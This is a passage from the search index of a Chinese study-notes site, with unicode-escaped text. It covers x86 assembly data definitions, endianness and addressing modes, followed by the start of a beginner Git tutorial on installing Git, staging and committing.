<p>DWORD\uff1a\u53cc\u5b57\u7c7b\u578b\uff0c\u5206\u914d\u4e00\u4e2a\u6216\u8005\u591a\u4e2a\u53cc\u5b57\u5355\u5143\uff0c\u6bcf\u4e2a\u6570\u636e\u662f32\u4f4d\u53cc\u5b57\u91cf\u5bf9\u5e94C\u8bed\u8a00\u4e2d\u7684<code>long</code>\u7c7b\u578b\u3002</p>"},{"location":"NOTE/CS/ASM/wk2/#8","title":"8\u4f4d\u53d8\u91cf\u7684\u5b9a\u4e49","text":"<p>\u53ef\u4ee5\u5b9a\u4e49\uff1a</p> <ul> <li>8\u4f4d\u7684\u65e0\u7b26\u53f7\u6574\u6570\uff080~255\uff09</li> <li>8\u4f4d\u8865\u7801\u8868\u793a\u7684\u6709\u7b26\u53f7\u6574\u6570-128~+127</li> <li>\u4e00\u4e2a\u5b57\u7b26\uff08ASCII\u7801\u503c\uff09</li> <li>\u538b\u7f29BCD\u78010~99</li> <li>\u975e\u538b\u7f29BCD\u78010~9</li> </ul> Example <p><pre><code>bvar1 byte 0,128,255,-128,0,+127;\u5bf9\u5e94\u673a\u5668\u6307\u4ee4\u4e3a00 80\u65e0\u7b26\u53f7128\uff09 FF 80\uff08\u6709\u7b26\u53f7-128\uff09 00 7F\n</code></pre> <code>bvar1</code>\u662f\u9996\u5143\u7d200\u7684\u903b\u8f91\u5730\u5740\uff0c\u8981\u60f3\u8bbf\u95ee\u4e0b\u4e00\u4e2a\u5143\u7d20\u9700\u8981<code>bvar1+1</code></p> <p>\u5176\u6570\u636e\u6bb5\u4e3a</p> 7FH 00H 80H FFH 80H 00H(<code>bvar1</code>\u6307\u5411\u8fd9\u91cc) <p> </p>"},{"location":"NOTE/CS/ASM/wk2/#1632","title":"16\u4f4d\u548c32\u4f4d\u53d8\u91cf\u7684\u5b9a\u4e49","text":"<p>16\u4f4d</p> <ul> <li>16\u4f4d\u65e0\u7b26\u53f7\u6574\u6570\uff080~65535\uff09</li> <li>16\u4e3a\u8865\u7801\u8868\u793a\u7684\u6709\u7b26\u53f7\u6574\u6570\uff08-32768~+32767\uff09</li> <li>16\u4f4d\u6bb5\u5730\u5740</li> <li>16\u4f4d\u504f\u79fb\u5730\u5740</li> </ul> <p>32\u4f4d</p> <ul> <li>32\u4f4d\u65e0\u7b26\u53f7\u6574\u6570\\(0 \\sim 2^{32}-1\\)</li> <li>32\u4f4d\u8865\u7801\u8868\u793a\u7684\u6709\u7b26\u53f7\u6574\u6570\\(-2^{31} \\sim 2^{31}-1\\)</li> <li>32\u4f4d\u903b\u8f91\u5730\u5740</li> </ul> Example <pre><code>wvar1 word 0,32768,65535,-32768,0,+32767\n</code></pre> <p>\u8981\u60f3\u8bbf\u95ee\u4e0b\u4e00\u4e2a\u5143\u7d20\uff0c\u9700\u8981<code>wvar1+2</code></p> <p>\u6bcf\u4e00\u4e2a\u5143\u7d20\u90fd\u4f7f\u7528\u4e24\u4e2a\u5b57\u8282\u6765\u8868\u793a </p> <pre><code>dvar1 dword 0,80000000h\n</code></pre> <p>\u8981\u60f3\u8bbf\u95ee\u4e0b\u4e00\u4e2a\u5143\u7d20\uff0c\u9700\u8981<code>dvar1+4</code></p> <p>\u6bcf\u4e00\u4e2a\u5143\u7d20\uff0c\u4f7f\u7528\u56db\u4e2a\u5b57\u8282\u6765\u8868\u793a </p>"},{"location":"NOTE/CS/ASM/wk2/#_8","title":"\u53d8\u91cf\u5e94\u7528","text":""},{"location":"NOTE/CS/ASM/wk2/#_9","title":"\u591a\u5b57\u8282\u6570\u636e\u7684\u5b58\u50a8\u987a\u5e8f","text":"<p>\u6700\u5c0f\u7684\u5b58\u50a8\u5355\u4f4d\u662fbit\uff0c\u6700\u5e38\u7528\u7684\u5b58\u50a8\u5355\u4f4d\u662f\u5b57\u8282\uff08Byte\uff09\uff0c\u4e00\u4e2a\u5b58\u50a8\u5355\u5143\u4fdd\u5b58\u4e00\u4e2a\u5b57\u8282\u91cf\u6570\u636e\uff0c\u5bf9\u5e94\u4e00\u4e2a\u5b58\u50a8\u5668\u5730\u5740\u3002</p> <p>\u5c0f\u7aef\u65b9\u5f0f\uff08little Endian\uff09</p> <ul> <li>\u9ad8\u5b57\u8282\u6570\u636e\u4fdd\u5b58\u5728\u9ad8\u5730\u5740\u5b58\u50a8\u5355\u5143</li> <li>\u4f4e\u5b57\u8282\u6570\u636e\u4fdd\u5b58\u5728\u4f4e\u5730\u5740\u5b58\u50a8\u5355\u5143</li> </ul> <p>\u5927\u7aef\u65b9\u5f0f\uff08Big Endian\uff09</p> <ul> <li>\u9ad8\u5b57\u8282\u6570\u636e\u4fdd\u5b58\u5728\u4f4e\u5730\u5740\u5b58\u50a8\u5355\u5143</li> <li>\u4f4e\u5b57\u8282\u6570\u636e\u4fdd\u5b58\u5728\u9ad8\u5730\u5740\u5b58\u50a8\u5355\u5143</li> </ul> <p>Info</p> <p>\u5927\u7aef\u5b58\u50a8\u548c\u5c0f\u7aef\u5b58\u50a8\u4e24\u4e2a\u540d\u5b57\u6765\u81ea\u300a\u683c\u5217\u4f5b\u6e38\u8bb0\u300b\u5173\u4e8e\u5982\u4f55\u6253\u5f00\u4e00\u4e2a\u9e21\u86cb\u7684\u4e89\u8bba: How to open an egg,from the little end or the big end</p> <p>80x86\u91c7\u7528\u5c0f\u6bb5\u65b9\u5f0f\u5b58\u50a8\u591a\u5b57\u8282\u6570\u636e</p> <p><pre><code>bvar byte 39h,31h,32h,38h\nwvar word 3139h,3832h\ndvar dword 38323139h\n</code></pre> \u4e09\u4e2a\u53d8\u91cf\u5728\u4e3b\u5b58\u4e2d\u7684\u5b58\u653e\u65b9\u5f0f\u662f\u4e00\u6837\u7684</p> <p>\u5bf9\u4e8e<code>bvar</code>,\u7531\u4f4e\u5230\u9ad8\u4f9d\u6b21\u5b58\u653e\u56db\u4e2a\u5b57\u8282\u7684\u6570\u636e</p> \u6570\u636e\u6bb5 38H 32H 31H 39H <p><code>wvar</code>\u6709\u4e24\u79cd\u65b9\u5f0f\u5b58\u50a8</p> <p>\u5982\u679c\u662f\u5927\u7aef\u5b58\u50a8</p> \u6570\u636e\u6bb5 32H 38H 31H 39H <p>\u5982\u679c\u662f\u5c0f\u6bb5\u5b58\u50a8</p> \u6570\u636e\u6bb5 38H 32H 31H 39H <p>\u540c\u7406\uff0c<code>dvar</code>\u4e5f\u6709\u4e24\u79cd\u65b9\u5f0f</p> <p>Warning</p> <p>\u5927\u7aef\u65b9\u5f0f\u548c\u5c0f\u7aef\u65b9\u5f0f\u5b58\u50a8\u90fd\u662f\u5408\u7406\u7684\uff0c\u4e0d\u5b58\u5728\u54ea\u79cd\u65b9\u5f0f\u66f4\u597d\uff0c\u8c01\u5bf9\u8c01\u9519\u4e4b\u5206</p>"},{"location":"NOTE/CS/ASM/wk2/#_10","title":"\u53d8\u91cf\u7684\u5730\u5740\u5c5e\u6027","text":"<p>\u5b9a\u4e49\u540e\u7684\u53d8\u91cf\u540d\u5177\u6709\u4e24\u7c7b\u5c5e\u6027</p> <ul> <li>\u5730\u5740\u5c5e\u6027\uff1a\u9996\u4e2a\u53d8\u91cf\u6240\u5728\u7684\u5b58\u50a8\u5355\u5143\u7684\u903b\u8f91\u5730\u5740\uff0c\u5305\u542b \u6bb5\u57fa\u5730\u5740 \u548c \u504f\u79fb\u5730\u5740</li> <li>\u7c7b\u578b\u5c5e\u6027\uff1a\u53d8\u91cf\u5b9a\u4e49\u7684\u6570\u636e\u5355\u4f4d</li> </ul> <p>\u901a\u8fc7\u5730\u5740\u64cd\u4f5c\u7b26\u53ef\u4ee5\u83b7\u5f97\u53d8\u91cf\u7684\u5730\u5740\u5c5e\u6027\u503c</p> <code>[]</code> \u62ec\u8d77\u7684\u8868\u8fbe\u5f0f\u4f5c\u4e3a\u5b58\u50a8\u5668\u5730\u5740\u6307\u9488\uff0c\u6574\u4e2a\u76f8\u5f53\u4e8e\u53d6\u62ec\u53f7\u91cc\u7684\u5730\u5740\u7684\u503c <code>$</code> \u8fd4\u56de\u5f53\u524d\u7684\u504f\u79fb\u5730\u5740 <code>OFFSET</code> \u53d8\u91cf\u540d \u8fd4\u56de\u53d8\u91cf\u540d\u6240\u5728\u6bb5\u7684\u504f\u79fb\u5730\u5740 <code>SEG</code> \u53d8\u91cf\u540d \u8fd4\u56de\u6bb5\u57fa\u5730\u5740\uff08\u5b9e\u5730\u5740\u5b58\u50a8\u6a21\u578b\uff09 <p>Example</p> <pre><code>;\u6570\u636e\u6bb5\nbvar       byte 12h, 34h\n           org $+10;bvar\u5730\u5740\u4e3a00000000\uff0c\u5f53\u524d\u5730\u5740\u4e3a00000002H\uff0c\u76f8\u5f53\u4e8e\u6570\u636e\u6bb5\u7684\u4e0b\u4e00\u4e2a\u53d8\u91cf\u4ece\u5f53\u524d\u5730\u5740+10\u5b57\u8282\u518d\u5f00\u59cb\narray      word 1, 2, 3, 4, 5, 6, 7, 8, 9, 10\nwvar       word 5678h \narr_size   = $ - array ;\u8ba1\u7b97\u51fa\u5f53\u524d\u5730\u5740\u5230array\u5730\u5740\u4e00\u5171\u5360\u6709\u591a\u5c11\u5b57\u8282\narr_len    = arr_size / 2;\u8ba1\u7b97\u51fa\u4e00\u5171\u6709\u591a\u5c11\u5185\u5b58\u7a7a\u95f4\ndvar       dword 9abcdef0h\n;\u4ee3\u7801\u6bb5\nmov al, bvar;\u76f8\u5f53\u4e8e[bvar]\u53d6\u51fa\u7b2c\u4e00\u4e2a\u5143\u7d2012H\u9001\u5230al\nmov ah, bvar + 1;\u53d6\u51fa\u7b2c\u4e8c\u4e2a\uff0c\u7c7b\u4f3c\u4e8e\u6570\u7ec4\u7684\u64cd\u4f5c\nmov bx, wvar[2];\u4ecewvar\u5f00\u59cb\u518d+2\uff0c\u6307\u5411\u4e86dvar\u7684\u6700\u4f4e\u5b57\u8282F0\uff0c\u8d4b\u7ed9\u4e86bx\nmov ecx, arr_len; \u5c06arr_len\u6240\u4ee3\u8868\u7684\u957f\u5ea611\u4f20\u7ed9ecx\nmov edx, $ ; \u5c06\u5f53\u524d\u7684\uff08\u6307\u4ee4\uff09\u5730\u5740\u4f20\u7ed9edx\uff0c\u5373\u4ee3\u7801\u6bb5\u5730\u5740+\u504f\u79fb\u5730\u5740\nmov esi, offset dvar;\u5c06dvar\u7684\u6570\u636e\u6bb5\u5730\u5740\u4f20\u9012\u7ed9esi\uff0c\u5373\u6570\u636e\u6bb5\u5730\u5740+22H\nmov edi, [esi];\u5c06esi\u7684\u503c\u4f5c\u4e3a\u5730\u5740\u53d6\u51fa\u8be5\u5730\u5740\u7684\u5143\u7d20\uff0c\u53739abcdef0h\nmov ebp, dvar;9abcdef0h\n</code></pre>"},{"location":"NOTE/CS/ASM/wk2/#_11","title":"\u53d8\u91cf\u7684\u7c7b\u578b\u5c5e\u6027","text":"<p>\u53d8\u91cf\u7684\u7c7b\u578b\u5c5e\u6027\u8868\u793a\u53d8\u91cf\u5b9a\u4e49\u7684\u6570\u636e\u5355\u4f4d\uff0cBYTE\uff0cWORD\uff0cDWORD\u5bf9\u5e94\u7684\u7c7b\u578b\u503c\u4e3a1\uff0c2\uff0c4\uff1b\u5373\u5176\u6240\u5360\u7684\u5b57\u8282\u6570</p> <p>\u7c7b\u578b\u64cd\u4f5c\u7b26</p> <ul> <li><code>\u7c7b\u578b\u540d PTR  \u53d8\u91cf\u540d</code>\uff0c\u5c06\u53d8\u91cf\u540d\u6309\u7167\u6307\u5b9a\u7684\u7c7b\u578b\u4f7f\u7528</li> <li><code>TYPE \u53d8\u91cf\u540d</code> \u8fd4\u56de\u5360\u7528\u5b57\u8282\u7a7a\u95f4\u7684\u5b57\u91cf\u6570\u503c</li> <li><code>LENGTHOF \u53d8\u91cf\u540d</code>:\u8fd4\u56de\u6574\u4e2a\u53d8\u91cf\u7684\u6570\u636e\u9879\u6570</li> <li><code>SIZEOF \u53d8\u91cf\u540d</code>:\u8fd4\u56de\u6574\u4e2a\u53d8\u91cf\u6240\u5360\u7528\u7684\u5b57\u8282\u6570</li> </ul> <p>Example</p> <p>\u5728\u4e0a\u4f8b\u4e2d\uff0c\u82e5\u6709<code>mov eax,dword ptr array</code>\uff0c\u5219\u662f\u5c06array\u5f53\u4f5c\u53cc\u5b57\u7c7b\u578b\u8bbf\u95ee\uff0c\u4f1a\u628a<code>00020001H</code>\u4f20\u9012\u7ed9eax</p>"},{"location":"NOTE/CS/ASM/wk3/","title":"\u5bfb\u5740\u65b9\u5f0f","text":"<p> \u7ea6 376 \u4e2a\u5b57  10 \u884c\u4ee3\u7801  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 1 \u5206\u949f</p> <p>\u6307\u4ee4\u7531\u64cd\u4f5c\u7801\u548c\u64cd\u4f5c\u6570\u7ec4\u6210\uff0c\u64cd\u4f5c\u7801\u662f\u5904\u7406\u5668\u8981\u6267\u884c\u54ea\u79cd\u64cd\u4f5c\uff0c\u7528\u52a9\u8bb0\u7b26\u8868\u793a\uff1b\u64cd\u4f5c\u6570\u662f\u6307\u4ee4\u6267\u884c\u7684\u53c2\u4e0e\u8005\uff0c\u662f\u5404\u79cd\u64cd\u4f5c\u7684\u5bf9\u8c61\uff0c\u9700\u8981\u901a\u8fc7\u5730\u5740\u6307\u793a</p> <p>\u9700\u8981\u901a\u8fc7\u5730\u5740\u8bbf\u95ee\u6570\u636e\u6216\u8005\u6307\u4ee4</p> <ul> <li> <p>\u6570\u636e\u5bfb\u5740\uff1a\u6307\u4ee4\u6267\u884c\u8fc7\u7a0b\u4e2d\uff0c\u8bbf\u95ee\u6240\u9700\u8981\u64cd\u4f5c\u7684\u6570\u636e\uff08\u64cd\u4f5c\u6570\uff09</p> <ul> <li>\u7acb\u5373\u6570\u5bfb\u5740\uff1a\u6570\u636e\u5728\u6307\u4ee4\u4ee3\u7801\u4e2d\uff0c\u7528\u4e8e\u5e38\u91cf\u8868\u8fbe</li> <li>\u5bc4\u5b58\u5668\u5bfb\u5740\uff1a\u6570\u636e\u5728\u5bc4\u5b58\u5668\u4e2d\uff0c\u7528\u5bc4\u5b58\u5668\u540d\u8868\u793a</li> <li>\u5b58\u50a8\u5668\u5bfb\u5740\uff1a\u6570\u636e\u5728\u4e3b\u5b58\u4e2d\uff0c\u7528\u5b58\u50a8\u5668\u5730\u5740\u4ee3\u8868</li> <li>I/O\u5bfb\u5740\uff1a\u6570\u636e\u5728\u5916\u8bbe\uff08I/O\u8bbe\u5907\uff09\u4e2d\uff0c\u7528I/O\u5730\u5740\u4ee3\u8868</li> </ul> </li> <li> <p>\u6307\u4ee4\u5bfb\u5740\uff1a\u4e00\u6761\u6307\u4ee4\u6267\u884c\u540e\uff0c\u786e\u5b9a\u6267\u884c\u7684\u4e0b\u4e00\u6761\u6307\u4ee4\u7684\u4f4d\u7f6e</p> </li> </ul>"},{"location":"NOTE/CS/ASM/wk3/#_2","title":"\u7acb\u5373\u6570\u5bfb\u5740","text":"<p>\u64cd\u4f5c\u6570\u7d27\u8ddf\u64cd\u4f5c\u7801\uff0c\u662f\u673a\u5668\u7801\u7684\u4e00\u90e8\u5206</p> <p>Note</p> <p>\u64cd\u4f5c\u6570\u4ece\u6307\u4ee4\u4ee3\u7801\u4e2d\u5f97\u5230\uff0c\u5373\u7acb\u5373\u6570\uff08Immediate\uff09</p> \u4f8b <p><pre><code>MOV EAX,33221100H\n;\u673a\u5668\u4ee3\u7801: B8 00 11 22 33\n;\u64cd\u4f5c\u7801: B8\n;\u7acb\u5373\u6570 \uff1a 33221100\n</code></pre> \u673a\u5668\u7801\u7684\u6392\u5217\u65b9\u5f0f\u8bf4\u660e\u662f\u5c0f\u7aef\u5b58\u50a8\uff0c<code>B8</code> \u4ee3\u8868\u5c06\u4e00\u4e2a\u6570\u4f20\u9012\u5230EAX\uff0c<code>33221100H</code> \u5c31\u662f\u90a3\u4e2a\u6570 </p> <p>\u5404\u79cd\u7acb\u5373\u6570\u5f62\u5f0f</p> <ul> <li>\u5341\u516d\u8fdb\u5236\u5e38\u6570</li> <li>\u5b57\u7b26(ASCII \u7801\u503c)</li> <li>\u5341\u8fdb\u5236\u8d1f\u6570(\u8865\u7801)</li> <li>\u7b26\u53f7\u5e38\u91cf</li> <li>\u8868\u8fbe\u5f0f</li> <li>\u53d8\u91cf\u7684\u504f\u79fb\u5730\u5740\uff0c\u6807\u53f7\u7684\u504f\u79fb\u5730\u5740\uff0c\u4f8b\u5982 <pre><code>;\u6570\u636e\u6bb5\nbvar byte 01h\n;\u4ee3\u7801\u6bb5\nlabl: mov bx,-1\nmov edi,labl;labl\u7684\u504f\u79fb\u5730\u5740\nmov ax,offset bvar;\u53d8\u91cf\u7684\u504f\u79fb\u5730\u5740\n</code></pre></li> </ul> <p>Note</p> <p>\u7acb\u5373\u6570\u672c\u8eab\u6ca1\u6709\u7c7b\u578b\uff0c\u5b83\u7684\u7c7b\u578b\u53ef\u4ee5\u6839\u636e\u5bf9\u5e94\u7684\u5bc4\u5b58\u5668\u6216\u8005\u53d8\u91cf\u7c7b\u578b\u51b3\u5b9a</p> \u7b26\u53f7 \u542b\u4e49 i8 8\u4f4d\u7acb\u5373\u6570 i16 16\u4e3a\u7acb\u5373\u6570 i32 32\u4f4d\u7acb\u5373\u6570 imm \u7acb\u5373\u6570"},{"location":"NOTE/CS/GIT/","title":"Git \u7b14\u8bb0","text":"<p> \u7ea6 1954 \u4e2a\u5b57  22 \u884c\u4ee3\u7801  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 7 \u5206\u949f</p> <p>\u4f5c\u4e3a\u8ba1\u79d1\u4e13\u4e1a\u7684\u5b66\u751f,\u600e\u4e48\u80fd\u4e0d\u4f1aGit\u5462</p> <p>git\u547d\u4ee4\u6bd4\u8f83\u591a,\u6709\u4e9b\u547d\u4ee4\u7684\u610f\u4e49\u6bd4\u8f83\u957f\u96be\u4ee5\u4e00\u76f4\u8bb0\u4f4f,\u5728\u8fd9\u91cc\u63a8\u8350\u4e00\u4e2a\u975e\u5e38\u597d\u7528\u7684\u5de5\u5177tldr\uff0cToo long don't read~</p>"},{"location":"NOTE/CS/GIT/#_1","title":"\u5b89\u88c5","text":"<p>Windows \u7528\u6237\u53ef\u4ee5\u901a\u8fc7Git\u5b98\u7f51\u4e0b\u8f7d\u5b89\u88c5\u5305\u8fdb\u884c\u5b89\u88c5</p> <p>Linux \u7528\u6237\u53ef\u4ee5\u901a\u8fc7\u4ee5\u4e0b\u547d\u4ee4\u8fdb\u884c\u5b89\u88c5</p> <pre><code>sudo apt-get update\nsudo apt-get install git\n</code></pre> <p>macOS \u7528\u6237\u53ef\u4ee5\u901a\u8fc7\u4ee5\u4e0b\u547d\u4ee4\u8fdb\u884c\u5b89\u88c5</p> <pre><code>brew install git\n</code></pre>"},{"location":"NOTE/CS/GIT/#_2","title":"\u68c0\u9a8c\u662f\u5426\u5b89\u88c5\u6210\u529f","text":"<p>\u5728\u7ec8\u7aef\u4e2d\u8f93\u5165\u4ee5\u4e0b\u547d\u4ee4,\u5982\u679c\u51fa\u73b0\u7248\u672c\u53f7,\u5219\u8bf4\u660e\u5b89\u88c5\u6210\u529f</p> <pre><code>git --version\n</code></pre> <p>git \u662f\u600e\u4e48\u5de5\u4f5c\u7684</p> <p>\u9996\u5148,\u6709\u4ee5\u4e0b\u51e0\u4e2a\u6982\u5ff5</p> <ol> <li> <p>\u5de5\u4f5c\u533a (Working Directory): \u8fd9\u662f\u4f60\u5728\u672c\u5730\u8ba1\u7b97\u673a\u4e0a\u770b\u5230\u7684\u6587\u4ef6\u548c\u76ee\u5f55\u3002\u4f60\u5728\u8fd9\u91cc\u8fdb\u884c\u6587\u4ef6\u7684\u6dfb\u52a0\u3001\u4fee\u6539\u548c\u5220\u9664\u64cd\u4f5c\u3002</p> </li> <li> <p>\u6682\u5b58\u533a (Staging Area): \u5f53\u4f60\u5bf9\u5de5\u4f5c\u533a\u4e2d\u7684\u6587\u4ef6\u8fdb\u884c\u4fee\u6539\u540e\uff0c\u53ef\u4ee5\u4f7f\u7528 <code>git add</code> \u547d\u4ee4\u5c06\u8fd9\u4e9b\u4fee\u6539\u6dfb\u52a0\u5230\u6682\u5b58\u533a\u3002\u6682\u5b58\u533a\u662f\u4e00\u4e2a\u4e34\u65f6\u533a\u57df,\u5b83\u662f\u5de5\u4f5c\u533a\u548c\u672c\u5730\u4ed3\u5e93\u7684\u6865\u6881\uff0c\u8d77\u5230\u7f13\u51b2\u7684\u4f5c\u7528,\u7528\u4e8e\u8bb0\u5f55\u5373\u5c06\u63d0\u4ea4\u7684\u66f4\u6539\u3002</p> </li> <li> <p>\u672c\u5730\u4ed3\u5e93 (Local Repository): \u4f7f\u7528 <code>git commit</code> \u547d\u4ee4\u5c06\u6682\u5b58\u533a\u4e2d\u7684\u66f4\u6539\u63d0\u4ea4\u5230\u672c\u5730\u4ed3\u5e93\u3002\u63d0\u4ea4\u540e\uff0c\u8fd9\u4e9b\u66f4\u6539\u5c06\u88ab\u8bb0\u5f55\u5728\u672c\u5730\u4ed3\u5e93\u7684\u5386\u53f2\u8bb0\u5f55\u4e2d\u3002</p> </li> <li> <p>\u8fdc\u7a0b\u4ed3\u5e93 (Remote Repository): \u8fdc\u7a0b\u4ed3\u5e93\u662f\u5b58\u50a8\u5728\u670d\u52a1\u5668\u4e0a\u7684 Git \u4ed3\u5e93\u3002\u4f60\u53ef\u4ee5\u4f7f\u7528 <code>git push</code> \u547d\u4ee4\u5c06\u672c\u5730\u4ed3\u5e93\u4e2d\u7684\u66f4\u6539\u63a8\u9001\u5230\u8fdc\u7a0b\u4ed3\u5e93\uff0c\u6216\u8005\u4f7f\u7528 <code>git pull</code> \u547d\u4ee4\u4ece\u8fdc\u7a0b\u4ed3\u5e93\u62c9\u53d6\u6700\u65b0\u7684\u66f4\u6539\u3002</p> </li> <li> <p>\u7248\u672c\u5e93 (Repository): \u7248\u672c\u5e93\u662f Git \u7528\u6765\u4fdd\u5b58\u9879\u76ee\u5386\u53f2\u8bb0\u5f55\u7684\u5730\u65b9\u3002\u5b83\u5305\u542b\u4e86\u6240\u6709\u63d0\u4ea4\u7684\u8bb0\u5f55\u548c\u9879\u76ee\u7684\u6240\u6709\u7248\u672c\u3002\u5728\u672c\u5730\u4ed3\u5e93\u4e2d,\u7248\u672c\u5e93\u662f.git\u6587\u4ef6\u5939,\u5728\u8fdc\u7a0b\u4ed3\u5e93\u4e2d,\u7248\u672c\u5e93\u662f\u8fdc\u7a0b\u4ed3\u5e93\u91cc\u9762\u7684.git\u6587\u4ef6\u5939</p> </li> </ol> <p> \u793a\u610f\u56fe </p> <p> \u7248\u672c\u5e93,\u5de5\u4f5c\u533a\u548c\u6682\u5b58\u533a </p>"},{"location":"NOTE/CS/GIT/#_3","title":"\u672c\u5730\u64cd\u4f5c","text":""},{"location":"NOTE/CS/GIT/#_4","title":"\u521d\u59cb\u5316","text":"<p>\u521b\u5efa\u4e00\u4e2a\u6587\u4ef6\u5939,\u7136\u540e\u8fdb\u5165\u6587\u4ef6\u5939,\u5728\u7ec8\u7aef\u4e2d\u8f93\u5165\u4ee5\u4e0b\u547d\u4ee4</p> <p><pre><code>git init\n</code></pre> \u8fd9\u6761\u547d\u4ee4\u4f1a\u5728\u5f53\u524d\u76ee\u5f55\u4e0b\u521b\u5efa\u4e00\u4e2a.git\u6587\u4ef6\u5939,\u8fd9\u4e2a\u6587\u4ef6\u5939\u5c31\u662f\u7248\u672c\u5e93</p> \u521d\u59cb\u5316"},{"location":"NOTE/CS/GIT/#_5","title":"\u6dfb\u52a0\u6587\u4ef6","text":"<p>\u6b64\u65f6 \u5de5\u4f5c\u533a \u4e2d\u6709\u4e00\u4e2atext.txt\u6587\u4ef6,\u73b0\u5728\u6211\u4eec\u60f3\u628a\u8fd9\u4e2a\u6587\u4ef6\u6dfb\u52a0\u5230 \u6682\u5b58\u533a \u4e2d</p> <pre><code>git add text.txt\n</code></pre> <p>\u6b64\u65f6 \u6682\u5b58\u533a \u4e2d\u5c31\u591a\u4e86\u4e00\u4e2atext.txt\u6587\u4ef6\uff0c\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528</p> <pre><code>git status\n</code></pre> <p>\u6765\u67e5\u770b \u6682\u5b58\u533a \u4e2d\u7684\u6587\u4ef6</p> \u6dfb\u52a0\u6587\u4ef6 <p>\u5728\u8fd9\u91cc,\u5c06\u6587\u4ef6\u52a0\u5165\u6682\u5b58\u533a\u540e,\u6587\u4ef6\u5c31\u5728\u6682\u5b58\u533a\u4e2d\u7b49\u5f85\u6211\u4eec\u7684\u63d0\u4ea4(Commit)\u4e86</p> \u5e38\u89c1\u7684 git add \u7684\u6307\u4ee4 <ol> <li> <p>\u6dfb\u52a0\u5355\u4e2a\u6587\u4ef6\uff1a <pre><code>git add &lt;filename&gt;\n</code></pre> \u4f8b\u5982\uff0c\u6dfb\u52a0 <code>text.txt</code> \u6587\u4ef6\uff1a <pre><code>git add text.txt\n</code></pre></p> </li> <li> <p>\u6dfb\u52a0\u591a\u4e2a\u6587\u4ef6\uff1a <pre><code>git add &lt;file1&gt; &lt;file2&gt; &lt;file3&gt;\n</code></pre> \u4f8b\u5982\uff0c\u6dfb\u52a0 <code>file1.txt</code>\u3001<code>file2.txt</code> \u548c <code>file3.txt</code>\uff1a <pre><code>git add file1.txt file2.txt file3.txt\n</code></pre></p> </li> <li> <p>\u6dfb\u52a0\u5f53\u524d\u76ee\u5f55\u4e0b\u7684\u6240\u6709\u6587\u4ef6\uff1a <pre><code>git add .\n</code></pre> \u8fd9\u6761\u547d\u4ee4\u4f1a\u5c06\u5f53\u524d\u76ee\u5f55\u4e0b\u7684\u6240\u6709\u66f4\u6539\u6dfb\u52a0\u5230\u6682\u5b58\u533a\u3002</p> </li> <li> <p>\u6dfb\u52a0\u7279\u5b9a\u76ee\u5f55\u4e0b\u7684\u6240\u6709\u6587\u4ef6\uff1a <pre><code>git add &lt;directory&gt;/\n</code></pre> \u4f8b\u5982\uff0c\u6dfb\u52a0 <code>src</code> \u76ee\u5f55\u4e0b\u7684\u6240\u6709\u6587\u4ef6\uff1a <pre><code>git add src/\n</code></pre></p> </li> <li> <p>\u6dfb\u52a0\u7b26\u5408\u7279\u5b9a\u6a21\u5f0f\u7684\u6587\u4ef6\uff1a <pre><code>git add *.txt\n</code></pre> \u8fd9\u6761\u547d\u4ee4\u4f1a\u5c06\u5f53\u524d\u76ee\u5f55\u4e0b\u6240\u6709 <code>.txt</code> \u6587\u4ef6\u6dfb\u52a0\u5230\u6682\u5b58\u533a\u3002</p> </li> <li> <p>\u4ea4\u4e92\u5f0f\u6dfb\u52a0\u6587\u4ef6\uff1a <pre><code>git add -i\n</code></pre> \u8fd9\u6761\u547d\u4ee4\u4f1a\u8fdb\u5165\u4ea4\u4e92\u6a21\u5f0f\uff0c\u5141\u8bb8\u4f60\u9009\u62e9\u6027\u5730\u6dfb\u52a0\u6587\u4ef6\u3002</p> </li> <li> <p>\u66f4\u65b0\u5df2\u8ffd\u8e2a\u6587\u4ef6\u7684\u66f4\u6539\uff1a <pre><code>git add -u\n</code></pre> \u8fd9\u6761\u547d\u4ee4\u53ea\u4f1a\u6dfb\u52a0\u5df2\u8ffd\u8e2a\u6587\u4ef6\u7684\u66f4\u6539\uff0c\u4e0d\u4f1a\u6dfb\u52a0\u65b0\u6587\u4ef6\u3002</p> </li> <li> <p>\u6dfb\u52a0\u6240\u6709\u66f4\u6539\uff0c\u5305\u62ec\u672a\u8ffd\u8e2a\u6587\u4ef6\uff1a <pre><code>git add -A\n</code></pre> \u8fd9\u6761\u547d\u4ee4\u4f1a\u5c06\u6240\u6709\u66f4\u6539\uff08\u5305\u62ec\u65b0\u6587\u4ef6\u548c\u5220\u9664\u7684\u6587\u4ef6\uff09\u6dfb\u52a0\u5230\u6682\u5b58\u533a\u3002</p> </li> </ol> <p>\u8fd9\u4e9b\u6307\u4ee4\u53ef\u4ee5\u5e2e\u52a9\u4f60\u6839\u636e\u4e0d\u540c\u7684\u9700\u6c42\u7075\u6d3b\u5730\u5c06\u6587\u4ef6\u6dfb\u52a0\u5230 Git \u7684\u6682\u5b58\u533a\u4e2d\u3002</p>"},{"location":"NOTE/CS/GIT/#_6","title":"\u63d0\u4ea4","text":"<p><pre><code>git commit -m \"\u63d0\u4ea4\u4fe1\u606f\"\n</code></pre> \u4f8b\u5982,\u5728\u4e0a\u9762\u7684\u4f8b\u5b50\u4e2d,\u6211\u4eec\u53ef\u4ee5\u8fd0\u884c</p> <p><pre><code>git commit -m \"\u6dfb\u52a0text.txt\u6587\u4ef6\"\n</code></pre> \u6765\u8fdb\u884c\u63d0\u4ea4</p> \u63d0\u4ea4 <p>\u67e5\u770b\u4fe1\u606f</p> <p><pre><code>[master (root-commit) f81217a] \u6dfb\u52a0text.txt\u6587\u4ef6\n 1 file changed, 1 insertion(+)\n create mode 100644 text.txt\n</code></pre> \u8fd9\u6761\u4fe1\u606f\u8868\u793a\u6211\u4eec\u5728 master \u5206\u652f\u4e0a\u8fdb\u884c\u4e86\u4e00\u4e2a\u6839\u63d0\u4ea4\uff08root-commit\uff09\uff0c\u63d0\u4ea4\u7684\u54c8\u5e0c\u503c\u662f 